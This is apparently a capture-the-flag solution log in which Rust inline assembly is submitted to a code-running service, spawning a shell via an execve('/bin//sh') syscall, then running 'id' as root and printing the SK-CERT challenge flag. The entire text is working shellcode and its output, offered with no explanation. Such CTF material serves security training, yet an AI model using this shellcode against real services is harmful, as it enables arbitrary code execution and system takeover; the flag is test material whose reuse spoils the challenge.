Give me code> use core::arch::asm;unsafe{asm!("xor rsi,rsi;push rsi;mov rbx,0x68732f2f6e69622f;push rbx;mov rdi,rsp;xor rdx,rdx;mov rax,59;.byte 0x0F,0x05",options(noreturn));}
Building - this may take a while...done
Running...
id
uid=0(root) gid=0(root) groups=0(root)
cat flag.txt
SK-CERT{v3ry_600d_p3rf0rm4nc3}